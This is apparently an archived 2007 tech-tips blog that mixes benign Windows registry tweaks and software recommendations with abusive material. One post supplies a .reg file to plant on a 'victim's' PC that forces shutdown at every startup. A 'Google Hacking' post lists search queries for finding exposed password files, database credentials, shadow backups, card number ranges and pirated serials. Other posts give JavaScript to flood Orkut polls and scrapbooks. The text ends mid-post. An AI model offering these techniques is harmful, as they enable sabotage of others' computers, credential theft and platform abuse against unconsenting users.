Google co-founders Larry Page and Sergey Brin have thrown capital behind numerous environmentally friendly ventures, including the installation of one of the largest solar energy systems to power their sprawling headquarters.

The programme requires a 90 per cent efficiency standard for power supplies, said Urs Holzle, senior vice president of operations at Google.

More efficient computing could trim the use of electricity that now is being wasted as heat, which in turn, especially in large server centers, requires more power for air conditioning.

"Today, the average desktop PC wastes nearly half of its power and the average server wastes one-third of its power," Holzle said.

Ways to beat RapidShare Waiting Time and Download limit

2007-06-13T22:48:00.000+05:30

1. Short-Out the JavaScript:

1. Goto the page you want to download
2. Select FREE button
3. In the address bar put the following: javascript:alert(c=0)
4. Click OK
5. Click OK to the pop-up box
6. Enter the captcha
7. Download Your File

2. Request a new IP address from your ISP server.

Here's how to do it in windows:
1. Click Start
2. Click run
3. In the run box type cmd.exe and click OK
4. When the command prompt opens type the following. ENTER after each new line.
ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit

5. Erase your cookies in whatever browser you are using.
6. Try the rapidshare download again.

Frequently you will be assigned a new IP address when this happens. Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work. To be honest, I do not know how to do this in linux/unix/etc. If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

3. Use a proxy with SwitchProxy and Firefox:

1. Download and install Firefox if you have not already
2. Download and install SwitchProxy
3. Google for free proxies
4. When you hit your download limit, clean your cookies and change your proxy

4. Use an anonymous service:

Running your system through the tor network should in theory work; however, it is difficult to use and setup. Plus, you allow others to run their evil deeds through your system as well by using this system. Anonymizer 2005 is inexpensive, easy to use, but not free. Other pay services would likely work as well.

5. You can use a bookmarklet to stop your wait times:

1. Open IE
2. Right Click On This Link
3. Select Add to Favorites
4. Select Yes to the warning that the bookmark may be unsafe.
5. Name it "RapidShare No Wait"
6. Click on the Links folder (if you want to display it in your IE toolbar)
7. Click OK
8. You may need to close and reopen IE to see it
9. Goto rapidshare and click the bookmarklet when you are forced to wait

Murder in Orkut - Be Careful!

2007-06-11T10:50:00.000+05:30

View this video for details

View Video

A sensational Murder has taken place in India through Orkut in Bombay. A girl and a guy met in orkut. Usual stuff. They talked with each other, as they were friends in their childhood and became trusted friends - again usual stuff. Wrote testimonials for one another - again usual stuff.
But wait that's not all. This Guy then asked the Girl to meet him. And she did. But that was the first and the last meeting. She was found dead in the hotel room. The guy killed her.

Here is the profile of the girl
http://www.orkut.com/Profile.aspx?uid=11725203022944506305

and her murderer

http://www.orkut.com/Profile.aspx?uid=348385650417627297

So the moral of the story is:

NEVER LOVE A STRANGER ON ORKUT.

Be careful while adding the friends...!

Show Wallpaper right from logon

2007-06-11T10:08:00.000+05:30

To display wallpaper during the logon itself, navigate to the following registry key :

HKEY_USERS\.DEFAULT\Control Panel\Desktop.

In the right pane, change the path to Wallpaper. It will be useful if you are looking for ways to display your company logo during all user log in sessions.

Source: Computer Tricks

Increase Windows XP Shutdown Speed

2007-06-10T13:24:00.001+05:30

Windows XP stores a couple of values in its registry which are responsible for determining how long to wait before shutting down (killing) open applications and services once the shutdown command has been given.

By editing these two settings and changing them to lower values, you can considerably decrease the amount of time that Windows XP needs to successfully shut itself down. The first part of this tweak deals with setting the amount of time Windows will take to kill open applications on shutdown.

Open REGEDIT and navigate to 'HKEY_CURRENT_USER\Control Panel\Desktop\'
Highlight the 'WaitToKillAppTimeout' value.
Set it to '1000' (the default should be 20000).
Now highlight the 'HungAppTimeout' value
Set it to '1000' also.

Increase Folder Cache

2007-06-10T13:22:00.000+05:30

The default setting for WindowsXP is to cache the Explorer settings for 400 folders.
To increase it:

1. Start Regedit
2. Go to HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam
3. Change the vaule of BagMRU to whatever size you want (hex)

1000 - 3e8
2000 - 7d0
3000 - bb8
4000 - fa0
5000 - 1388

Disable Right Click on Start Menu

2007-06-10T13:19:00.002+05:30

DISABLING THE RIGHT CLICK ON START MENU
Normally, when you right button click on the Start button, it allows you to open your programs folder, the Explorer and run Find.
In situations where you don't want to allow users to be able to do this in order to secure your computer.
1.Open RegEdit
2.Search for Desktop
3.This should bring you to HKEY_CLASSES_ROOT\Directory
4.Expand this section
5.Under Shell is Find
6.Delete Find
7.Move down a little in the Registry to Folder
8.Expand this section and remove Explore and Open
Now when you right click on the Start button, nothing should happen.
You can delete only those items that you need.
Note: - On Microsoft keyboards, this also disables the Window-E (for Explorer) and Window-F
(for Find) keys.

Disable My Computer

2007-06-10T13:19:00.001+05:30

In areas where you are trying to restrict what users can do on the computer, it might be beneficial to disable the ability to click on My Computer and have access to the drives, control panel etc.
To disable this:
1.Open RegEdit
2.Search for 20D04FE0-3AEA-1069-A2D8-08002B30309D
3.This should bring you to the HKEY_CLASSES_ROOT\CLSID section
4.Delete the entire section.
Now when you click on My Computer, nothing will happen.
You might want to export this section to a Registry file before deleting it just in case you want to enable it again. Or you can rename it to 20D0HideMyComputer4FE0-3AEA-1069-A2D8-08002B30309D. You can also hide all the Desktop Icons, see Change/Add restrictions.

Change Windows Icon

2007-06-10T13:15:00.001+05:30

You can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.

1. Open RegEdit
2. Go to
HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons
3. Add a string value for each Icon you wish to change.
Example: "3" ="C:\Windows\Icons\MyIcon.ico,0" This will change the closed folders in the Explorer to "MyIcon.ico". Here is a complete list for each value.

0= Unknown file type
1= MSN file types
2= Applications Generic
3= Closed Folder
4= Open Folder
5= 5.25" Drive
6= 3.25" Drive
7= Removable Drive
8= Hard Drive
9= NetWork Drive
10= Network Drive Offline
11= CD-ROM Drive
12= RAM Drive
13= Entire Network 14= Network Hub
15= My Computer
16= Printer
17= Network Neighborhood
18= Network Workgroup
19= Start Menu's Program Folders
20= Start Menu's Documents
21= Start Menu's Setting
22= Start Menu's Find
23= Start Menu's Help
24= Start Menu's Run
25= Start Menu's Suspend
26= Start Menu's PC Undock
27= Start Menu's Shutdown 28= Shared
29= Shortcut Arrow
30= (Unknown Overlay)
31= Recycle Bin Empty
32= Recycle Bin Full
33= Dial-up Network
34= DeskTop
35= Control Panel
36= Start Menu's Programs
37= Printer Folder
38= Fonts Folder
39= Taskbar Icon
40= Audio CD

Students like my voice : Mosquito

2007-06-10T00:19:00.000+05:30

Amazed by the above statement? The mosquito ringtone is the latest thing that all the school and college students are using to save them from getting screwed up if their phone rings in the class room.

The mosquito ringtone is a very high pitched sound that can be heard only by person below 25 years of age. Since, the teachers cannot hear this high piched sound, the students can receive messages on their phone in class.

Moreover, the teachers don't get to know whose phone is ringing as their ears are not sensitive to such high pitched sound.

So, if the students who are reading this post are interested in hearing the sound of mosquito, and setting it as a ringtone, then download the mosquito ringtone from the link given below.

Mosquito Ringtone

Block a website in your computer

2007-06-09T23:06:00.000+05:30

Need to block a website over your computer? Well, you dont need to download a website blocker for your PC.

You can do it by an inbuilt function in your Windows. Lets see how to block a website in few steps.

1. Browse to C:\windows\system32\drivers\etc
2. Now, open hosts in Notepad.
3. After 127.0.0.1, press enter and write this:

127.0.0.2 www.xyz.com localhost

4. Now, save the file.
5. Reboot your PC.
Now try opening the blocked website. It will not open.

Shut Down your friends' computer each time it starts

2007-06-09T22:52:00.000+05:30

Disclaimer: This is a pretty dangerous post. Neither the author nor this blog is responsible for anything that happens to your computer due to this.

Put this following text in a .reg file and run it in the victims pc:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

Don't put it in your computer if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.

Send Blank Scraps in Orkut

2007-06-09T12:34:00.001+05:30

Step1: Open scrapbook

Step2: Write [i] and submit it, an invisible scrap will b send

Note: Don't Write Anything Else [i]
You can try these various combinations also if u want to send a big no of invisible scraps, as after your few submissions it will start displaying the message "message sent too recently". So try these combinations out:

[u]
[b]
[i][u]
[i][b]
[u][i]
[u][b]
[u][i][b]
[i][u][b]
[i][u][b][i]
.
.
.

And just keep on increasing it will continue no limits...

One more method

Enter & # 3 0 2 1 without spaces, blank scrap will be send.

View Friends' Scraps more than the limit

2007-06-09T12:23:00.000+05:30

Step1: Open Friends scrapbook

Step2: Look in your address bar (i.e the place where u type www.mastitrain.com). You will see this address written
http://www.orkut.com/Scrapbook.aspx?uid=12345678987654321

Step3: Add this code"&na=&nst=&nid=&pageSize=30" at the end of the address. It will look like this

http://www.orkut.com/Scrapbook.aspx?uid=12345678987654321&na=&nst=&nid=&pageSize=30

30 over specifies that you can view 30 scraps of the scrapbook you are looking into.

Google Hacking

2007-06-09T12:22:00.000+05:30

Using Google, and some finely crafted searches we can find a lot of interesting information.

For Example we can find:
Credit Card Numbers
Passwords
Software / MP3's
...... (and on and on and on) Presented below is just a sample of interesting searches that we can send to google to obtain info that some people might not want us having.. After you get a taste using some of these, try your own crafted searches to find info that you would be interested in.

Try a few of these searches:
intitle:"Index of" passwords modified
allinurl:auth_user_file.txt
"access denied for user" "using password"
"A syntax error has occurred" filetype:ihtml
allinurl: admin mdb
"ORA-00921: unexpected end of SQL command"
inurl:passlist.txt
"Index of /backup"
"Chatologica MetaSearch" "stack tracking:"

Amex Numbers: 300000000000000..399999999999999
MC Numbers: 5178000000000000..5178999999999999
visa 4356000000000000..4356999999999999

"parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

"parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

Notice that I am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.

METHOD 2

put this string in google search:

?intitle:index.of? mp3

You only need add the name of the song/artist/singer.

Example: ?intitle:index.of? mp3 jackson

METHOD 3

put this string in google search:

inurl:microsoft filetype:iso

You can change the string to watever you want, ex. microsoft to adobe, iso to zip etc…

"# -FrontPage-" inurl:service.pwd
Frontpage passwords.. very nice clean search results listing !!

"AutoCreate=TRUE password=*"
This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics. For those who can read Japanese, check out the author's site at: http://www.coara.or.jp/~passy/

"http://*:*@www" domainname
This is a query to get inline passwords from search engines (not just Google), you must type in the query followed with the the domain name without the .com or .net

"http://*:*@www" bangbus or "http://*:*@www"bangbus

Another way is by just typing
"http://bob:bob@www"

"sets mode: +k"
This search reveals channel keys (passwords) on IRC as revealed from IRC chat logs.

allinurl: admin mdb
Not all of these pages are administrator's access databases containing usernames, passwords and other sensitive information, but many are!

allinurl:auth_user_file.txt
DCForum's password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun, and all belong to googledorks. =)

intitle:"Index of" config.php
This search brings up sites with "config.php" files. To skip the technical discussion, this configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database.

eggdrop filetype:user user
These are eggdrop config files. Avoiding a full-blown descussion about eggdrops and IRC bots, suffice it to say that this file contains usernames and passwords for IRC users.

intitle:index.of.etc
This search gets you access to the etc directory, where many many many types of password files can be found. This link is not as reliable, but crawling etc directories can be really fun!

filetype:bak inurl:"htaccess|passwd|shadow|htusers"
This will search for backup files (*.bak) created by some editors or even by the administrator himself (before activating a new version).
Every attacker knows that changing the extenstion of a file on a webserver can have ugly consequences.

Let's pretend you need a serial number for windows xp pro.

In the google search bar type in just like this - "Windows XP Professional" 94FBR

the key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' porn sites that trick you.
or if you want to find the serial for winzip 8.1 - "Winzip 8.1" 94FBR

Best Way to Uninstall

2007-06-08T22:45:00.000+05:30

Windows Add/Remove Programs is fine, as far as it goes. Problem is, it doesn't go far enough. It often leaves traces of uninstalled programs in various places on your hard drive, meaning you'll accumulate a lot of junk over time.

This freeware utility does a better job of completely eliminating all traces of the software you want to uninstall. But it does even more:

* Analyze an installation so it can be completely uninstalled (also supports reboots of the computer as the process is split into two: Before and after the installation)
* Find and delete temporary files
* Delete entries from programs that are no longer installed
* Hide Windows Updates
* Hide entries from the list that you are never going to uninstall (drivers etc.) making the list smaller and therefore easier to manage.
* Show more information than available through add/remove
* Automatically find entries from programs that are most likely already uninstalled
* Automatically find entries that are considered "crap-ware"
* (Of course) search the list of installed software

ZSoft Uninstaller 2.3.4

Best Desktop Wallpapers

2007-06-08T22:44:00.000+05:30

I like to change my desktop's wallpaper every so often. What can I say, I like variety. Sadly, if you just do a Google search for "desktop wallpapers," you'll likely as not get results containing malware sites.

I've got a web site that offers not only safe wallpaper downloads, but the coolest and most beautiful you'll find anywhere on the Internet.

Visit Desktop Nexus

Submit Bookmarks to multiple sites at once

2007-06-08T22:42:00.001+05:30

Tired of submitting your social bookmarks one at a time?

Social Poster is a free web service that allows you to submit to all your favorite social bookmarking sites with one fell swoop. It's got 34 sites, to be exact. What a time saver!

Social Poster

Preview Firefox Tabs using Tab Scope

2007-06-08T22:33:00.000+05:30

This thumbnail preview extension for Firefox lets you see what's behind each tab just by hovering your pointer over it. Not only that, you can also navigate using the thumbnail popup (back, forward, reload, stop). You can scroll and click on links in the preview as well. That's tons of functionality that you didn't have before! This one's a must-have.

Install

McAfee : Yahoo Search Most Risky

2007-06-07T23:45:00.000+05:30

Out of the top five search engines, Yahoo returns the riskiest sites for users, according to security vendor McAfee.

In research published by McAfee SiteAdvisor, 5.4 percent of Yahoo searches returned links to "risky" internet sites. AOL was found to be the safest of the top five, with 2.9 percent of sites.

According to McAfee SiteAdvisor, Yahoo returned the most results rated "red" or "yellow". "Red" rated sites failed McAfee SiteAdvisor's safety tests. "Examples are sites that distribute adware, send a high volume of spam, or make unauthorised changes to a user's computer," said the report. Examples of "Yellow" rated sites are those which send a high volume of "non-spammy" email, display many pop-up ads, or prompt a user to change browser settings.

According to McAfee, overall, on Yahoo, MSN, Ask.com, Google, and AOL, sponsored searches returned more risky results than "organic" searches. Of sponsored searches, 6.9 percent returned risky content, compared with 2.9 percent of organic searches.

McAfee analyst Greg Day told that those wishing to make money from the spread of malicious code were willing to pay search companies, or try to trick them, to boost malicious ad rankings and increase the chance of click-throughs to malicious sites. "The simple reality is that, if you want to make money, you get to know how to trick search engines to get to the top [rankings], or you pay your way to get to the top," said Day. "On the straight figures, Yahoo is the highest level risky site."

McAfee stopped short of recommending that IT managers discourage company employees from using Yahoo search, but did say that the search company should employ more rigorous analysis of the content of sites returned by its search. "Google is starting to go away and do analysis of whether [site] content is what it claims to be. Yahoo really has to go down that road."

Yahoo said it already has a rigorous editorial policy on sites displayed by its search results, especially for sponsored results.

Reggie Davis, vice president of marketplace quality at Yahoo, told ZDNet.co.uk: "We have strict editorial policies in place, conduct ongoing editorial review and employ teams of product experts, engineers and analysts focused on ensuring and continually enhancing the relevancy of our sponsored search ads."

Davis did not seek to refute the McAfee SiteAdvisor research, or its ranking of Yahoo as the most risky search company of the top five. Instead, he stated: "Yahoo has been a strong proponent of helping fight malware, and is, in fact, the only major search vendor who makes free anti-spyware software available to its users. We support any efforts that help with the ongoing fight against unsafe sites."

Davis said that, according to the McAfee research, Yahoo's organic search results, "which represent the vast majority of clicked links for consumers, have the highest safety and quality rating of all major search vendors".

According to Davis, it is not in Yahoo's interest "to deliver experiences that would erode the trust of our users and advertisers, as we are committed to building the world's highest-quality online advertising marketplace and providing the safest and most relevant search experience possible for our users".

"We will continue to improve our performance in this area by investing in technology and work with third parties to make the internet safe for consumers," Davis added.

How to find your IP Address?

2007-06-07T21:33:00.000+05:30

To find your IP Address,

1. Go to Start ---> Run
2. Type cmd
3. Command Prompt will open.
4. In that, type ipconfig /all
5. You will see your IP Address

Hiding your IP Address using Proxy Server

2007-06-07T21:23:00.000+05:30

If you want to hide your Internet Protocol Address from website administrators using code to track you, you can use a proxy server to hide your IP. There are millions of proxy server in the internet..Just search Proxy Server in Google. You will get a very BIG list..

e.g

1. Go to http://www.anonymouse.org
2. Type the website address there after selecting the language.
3. Then press Enter.
4. You are now viewing the website anonymously.
5. The Website Administrator does not know your IP Address. He sees a IP Address from some part of the world.

That's it..Want to learn more about IP Addresses...click here

Computer Cleaning Tips - Part 2

2007-06-06T22:15:00.000+05:30

CLEANING TOOLS
Although many companies have created products to help improve the process of cleaning your computer and peripherals, users can also use household items to clean their computers and peripherals. Below is a listing of items you may need or want to use while cleaning your computer or computer peripherals.
Keep in mind that some components in your computer may only be able to be cleaned using a product designed for cleaning that component; if this is the case, it will be mentioned in the cleaning tips.

* Cloth - A cloth is the best tool used when rubbing down a component; although paper towels can be used with most hardware, we recommend using a cloth when ever possible.
* Water or rubbing alcohol - When moistening a cloth, it is best to use water or rubbing alcohol. Other solvents may be bad for the plastics used with your computer.
* Portable Vacuum - Sucking the dust, dirt, hair, cigarette particles, and other particles out of a computer can be one of the best methods of cleaning a computer. Over time, these items can restrict the airflow in a computer and cause circuitry to corrode. Do not use a standard vacuum as it can generate a lot of static electricity that can damage your computer.
* Cotton swabs - Cotton swaps moistened with rubbing alcohol or water are excellent tools for wiping hard to reach areas in your keyboard, mouse, and other locations.
* Foam swabs - Whenever possible, it is better to use lint-free swabs such as foam swabs.

Computer Cleaning Tips

2007-06-06T22:12:00.000+05:30

Below is a listing of general tips that should be taken when cleaning any of the components or peripherals of a computer as well as tips to help keep a computer clean.

1. Never spray or squirt any type of liquid onto any computer component. If a spray is needed, spray the liquid onto a cloth and then use that cloth to rub down the component.
2. Users can use a vacuum to suck up dirt, dust, or hair around their computer on the outside case and on their keyboards. However, do not use a vacuum for the inside of your computer as it generates a lot of static electricity that can damage the internal components of your computer. If you need to use a vacuum to clean the inside of your computer, use a portable battery powered vacuum designed to do this job.
3. When cleaning a component and/or the computer, turn it off before cleaning.
4. Never get any component inside the computer or any other circuit board damp or wet.
5. Be cautious when using any type of cleaning solvents; some individuals may have allergic reactions to chemicals in cleaning solvents and some solvents can even damage the case. Try to always use water or a highly diluted solvent.
6. When cleaning, be careful not to accidentally adjust any knobs or controls. In addition, when cleaning the back of the computer, if anything is plugged in, make sure not to disconnect any of the plugs.
7. When cleaning fans, especially the smaller fans within a portable computer or laptop it's suggested that you either hold the fan or place something in-between the fan blades to prevent it from spinning. Spraying compressed air into a fan or cleaning a fan with a vacuum may cause damage to some fans.
8. Never eat or drink around the computer.
9. Limit smoking around the computer.

Delete Special Folders

2007-06-06T21:59:00.000+05:30

Don't you just hate those stubborn stupid icons that refuse to leave the desktop, like the Recycle Bin icon. I am sure you want to know how you can delete them. You may say, that is really simple, simply right click on the concerned icon and select Delete. Well not exactly, you see when you right click on these special folders( see entire list below)neither the rename nor the delete option does not appear. To delete these folders, there are two methods, the first one is using the System Policy Editor(Poledit in the Windows installation CD)and the second is using the Registry.

Before we go on, you need to understand what CLSID values are. These folders, like the Control Panel, Inbox, The Microsoft Network, Dial Up Networking etc are system folders. Each system folder has a unique CLSID key or the Class ID which is a 16-byte value which identifies an individual object that points to a corresponding key in the registry.

To delete these system Folders from the desktop simply go to the following registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\Namespace{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

To delete an icon simply delete the 16 byte CLSID value within "NameSpace". The following are the CLSID values of the most commonly used icons:

My Briefcase:{85BBD920-42AO-1069-A2E4-08002B30309D}
Desktop: {00021400-0000-0000-C000-0000000000046}
Control Panel:{21EC2020-3AEA-1069-A2DD-08002B30309D}
Dial-Up-Networking:{992CFFA0-F557-101A-88EC-00DD01CCC48}
Fonts: {BD84B380-8CA2-1069-AB1D-08000948534}
Inbox :{00020D76-0000-0000-C000-000000000046}
My Computer :{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Network Neighborhood:{208D2C60-3AEA-1069-A2D7-O8002B30309D}
Printers :{2227A280-3AEA-1069-A2DE-O8002B30309D}
Recycle Bin :{645FF040-5081-101B-9F08-00AA002F954E}
The Microsoft Network:{00028B00-0000-0000-C000-000000000046}
History: {FF393560-C2A7-11CF-BFF4-444553540000}
Winzip :{E0D79300-84BE-11CE-9641-444553540000}

For example, to delete the Recycle Bin, first note down it's CLSID value, which is: 645FF040-5081-101B-9F08-00AA002F954E. Now go to the Namespace key in the registry and delete the corresponding key.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}

Detected: First Virus in IPODS

2007-06-06T21:57:00.000+05:30

Hackers and virus creators have finally infected the Apple iPod - albeit very marginally since it affects only iPods with the Linux operating system
(about 0.01% of all iPods).

Kasperksy Lab calls it the 'Podloso' while security major F-secure has named the virus 'Oslo.zip'. According to a report by Kaspersky Lab, the user has to save the virus to the iPod memory for the device to become infected.

iPod Linux is a CLinux-based software distribution targeted specifically to run on Apple iPods, and it enables users to run a variety of third party software such as games. With 70 million pieces the world over, the iPod is the most used music gadget. This virus, however, does not infect iPods that run the default iPod operating system.

According to the test carried by Kaspersky, once launched, the virus scans the device's hard disk and infects all executable .elf format files. Any attempt to launch these files will cause the virus to display a message on the screen which says "You are infected with Oslo the first iPodLinux Virus".

Podloso working only on iPods running Linux implies that almost 99.9 per cent of all iPods which run Windows or Apple operating systems are spared. Technically, however, it's not even the first virus to be targeted at iPods. Last October, Apple announced that less then 1 per cent of video iPods released after September 12 carried a Windows virus. The RavMonE.exe virus spreads via mass storage devises and affected Windows computers -- not the infected ipods.

Secure your Desktop Icons and Settings

2007-06-06T21:54:00.000+05:30

You can save your desktop settings and secure it from your nerdy friend by playing with the registry. Simply launch the Registry Editor go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

In the right pane create a new DWORD Value named NoSaveSettings and modify it's value to 1. Refresh and restart for the settings to get saved.

Orkut Poll Flooder

2007-06-05T10:20:00.000+05:30

1. Go to poll page

2. CODE:

javascript:opcao=prompt("enter option u want to flood eg like 1 or 2 or 3 or 4...","");votos=prompt("enter no. of votes?\n31 max",31);send = "POST_TOKEN="+encodeURIComponent(document.getElementsByName('POST_TOKEN')[0].value)+"&signature="+encodeURIComponent(document.getElementsByName('signature')[0].value);for(x=0; x

3. Paste this code in the address bar
4. Press Enter
5. It will ask you what option to vote for
6. Give the option number i.e. 1 or 2 or 3....
7. It will ask how many votes to flood
8. The maximum is 31 from each profile
9. Type the number of votes for that option
10. You are done

Orkut Scrap Flooder

2007-06-05T10:07:00.000+05:30

1. Go to the scrapbook
2. Type some text to flood
3. Download the code here...I am not able to post it here
4. Paste it in the address bar
5. Press Enter dont click Send Scrap

Make your Orkut Page Colorful

2007-06-04T21:26:00.000+05:30

1) Open your scrapbook.

2) Copy the following text and paste it in your address bar

javascript: i=0;c=["red","green","blue","yellow","magenta","orange","black","white"]; a=document.links;setInterval('i++;a[i % document.links.length].style.color=c[i % c.length]',10);void(0);

3) Hit ENTER key

Blocking Ads in Yahoo Messenger

2007-06-04T13:14:00.000+05:30

Are you using yahoo messenger for Im and chatting with buddies and like me if you are boored with the ads from yahoo, that gets displayed amidst, then here’s a registry edit for windows users which’ll block the ads on yahoo messenger.

Create a new text file in notepad and copy following to it.

CODE:

------------------------------------------------------------------------------------
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Yahoo\Pager\YUrl]

“Chat Adurl”=”"
“Conf Adurl”=”"
“Messenger Ad”=”"
“Webcam Viewer Ad”=”"
“Webcam Viewer Ad Big”=”"
“Webcam Viewer Ad Medium”=”"
“Webcam Upload Ad”=”"
“Change Room Banner”=”"
“Personals Alert Ad URL”=”"
“News Alert Ad URL”=”"
“Mail Alert Ad URL”=”"
“Stock Alert Ad URL”=”"
“Auction Alert Ad URL”=”"
“IMVironment Ad URL”=”"
“Calendar Alert Ad URL”=”"
“Chat Transition Ad”=”"
“Chat Transition Ad”=”"
“N2Phone Adurl”=”"
“Login Mobile Ad”=”"

-------------------------------------------------------------------------------------

Save the above file as "yahoo.reg" (u can give any name but .reg extension is compulsory)

Double click the .reg file "yahoo.reg" that you created now. Then click ok(yes) if asked for confirmation that’ll be added to registry.

Restart yahoo messenger.It’s done now.Enjoy.

Mind Mapping Online

2007-06-04T01:48:00.000+05:30

Are you a mind-map aficionado? Do you think in terms of bubbles? Then Bubble-Mind is for you. Seriously, many very smart people have increased their productivity by using mind-mapping tools, which are just visual ways of organizing ideas.

A mind map is a diagram used to represent words, ideas, tasks or other items linked to and arranged radially around a central key word or idea. It is used to generate, visualize, structure and classify ideas, and as an aid in study, organization, problem solving, and decision making.

It is an image-centered diagram that represents semantic or other connections between portions of information. By presenting these connections in a radial, non-linear graphical manner, it encourages a brainstorming approach to any given organizational task, eliminating the hurdle of initially establishing an intrinsically appropriate or relevant conceptual framework to work within.

A mind map is similar to a semantic network or cognitive map but there are no formal restrictions on the kinds of links used.

The elements are arranged intuitively according to the importance of the concepts and they are organized into groupings, branches, or areas. The uniform graphic formulation of the semantic structure of information on the method of gathering knowledge, may aid recall of existing memories.

I've just discovered an excellent Web 2.0 mind-mapping tool that you will appreciate whether you're already a mind-mapper or just someone who'd like to see how it works. It's called Bubble-Mind and it can be gotten to here.

There are many costly downloads available that do what this site does for free. Check it out today.

Create Fabulous Online Resumes with Resolio

2007-06-04T01:45:00.000+05:30

I've just discovered a Web 2.0 site that I can't wait to use. Once you sign up (free version or premium), you enter your data, choose a design, and publish your new resume. You can publish to Resolio or your own web site.

I plan to design a resume for myself as a freelance writer/editor and link to it on all my web sites. If you've got the gist of it, I'll leave you to it while I start working on my new Resolio resume. You can find it here.

Web 2.0 Button Generator

2007-06-04T01:35:00.000+05:30

I'm one of those webmasters who's not a master at designing graphics. Or buttons. That's why I appreciate this site: MyCoolButton. In fact, I've wanted, needed, something like this for a long time. The fat, juicy, shiny, bulging Web 2.0-style buttons are awesome.
Click here to visit the site!

Manage upto Sixteen Email Accounts Simultaneously

2007-06-04T01:32:00.000+05:30

Here's a very useful little program that will monitor as many as 16 different email accounts at the same time.

ePrompter automatically and simultaneously checks and retrieves your email messages from up to sixteen password protected email accounts and then gives you notification whenever you have new messages. ePrompter also lets you know how many new messages you have in each account, once new messages have been retrieved.

ePrompter also lets you read, delete and respond to any of your messages with a simple click on the account of your choice - without ever having to launch your email program or go to your webmail's site. Importantly, when ePrompter retrieves messages, it leaves the original messages on your various email accounts' servers and/or webmail sites.

ePrompter supports AIM, AOL, Gmail, Hotmail, Yahoo, Yahoo Beta, POP3, Earthlink, Excite, Juno, Lycos, Mail.com, Mindspring, MSN, MyWay, Netscape, Rediffmail, SBC Yahoo, USA.net, Windows Live Mail, and hundreds of other email domains.

Definitely worth a download. Get it here.

Just One Search. That's All It Took, on Sputtr

2007-06-04T01:30:00.000+05:30

What a stupid title. But this search site is very smart. All your favorite search engines and social bookmarking sites gathered in one spot.

Welcome to Sputtr. A refreshingly clean way to search the things that matter the most.
Now you can save valuable time by having all the right searches on just one page!

It's simple - reeeaal simple.
It's fast - faster than most others out there.
It's a collection of all your favorite search engines - all on just one page!
It's pretty - at least we think so.

It is pretty cool. Check it out here.

Web Pages to PDF

2007-06-04T01:26:00.000+05:30

HP has made available a free download add-on for Internet Explorer that lets you create PDF documents from the content you find on the web. Rather than install a virtual print driver, it works more like a scrapbook browser extension, allowing you to select the content you want to create your PDF pages.

HP Smart Web Printing lets you select, store and organize text and graphics from multiple web pages and then edit and print exactly what you see onscreen. It gives you the control you need to print meaningful information while minimizing waste.

Selecting content on a web page can be challenging. Now you can easily select text and graphics from multiple websites and combine them in your custom document. Create a personal digital scrapbook for each planning and research project.

Once you transfer content to your custom document, you can edit the text and graphics and even resize and delete them. Then print exactly what you see on screen. HP Smart Web Printing will also save your custom document as an Adobe PDF file.

This is a really great idea. I haven't seen anything else like it anywhere else.

Get it here

Star Wars Movie in Windows XP

2007-06-03T14:06:00.000+05:30

Do u know that Windows XP is having a hidden "Star Wars Movie" inside it???
You should be connected to the NET for using this.

Go to Starts-->Programs-->Run
Type
telnet towel.blinkenlights.nl
And hit enter.........
Enjoy the magic!!!!

Orkut Crush List Explanation

2007-06-03T13:40:00.001+05:30

Have you ever wondered how the Orkut "Add to my crush-list" option works?

Most of us are scared to add someone to our crush-list
because of the fear that he/she will get a notification from Orkut that you have added him/her on your crush-list.

YES, they will get such a notification.
But that is only if they too add you on their crush list.
In fact, you both will get a message from Orkut if you both have added each other on your respective crush lists.

This is a fantastic piece of innovation from Orkut wherein one-side crushes
will not be notified and if mutual crush exists, then both sides will come to
know of it.

Spreading this information is important. It will help the cause of many
people and who knows, you may be the lucky one too!!!

So start adding people to your crush-lists now and spreading this vital
information!!!

Image Roller in Orkut

2007-06-03T13:23:00.000+05:30

Follow the steps:
1) Open any page that contains images.
2) Copy the following text and paste it in your address bar

javascript:R=-1;DI=document.images;DIL=DI.length;function A(a,b,c){return Math.sin(R/350*6.28*b+a)*c+c}function B(a){DIS=DI.item(a).style;DIS.position='absolute';DIS.left=A(0,7,300);DIS.top=A(1.6,6,150)}setInterval('R++;B(R%DIL)',15);void(0)

3) Hit ENTER key

Double the size of your Friend's image in Orkut

2007-06-03T13:22:00.000+05:30

Follow the steps:
1) Open any profile whose friends' images you wish to double.
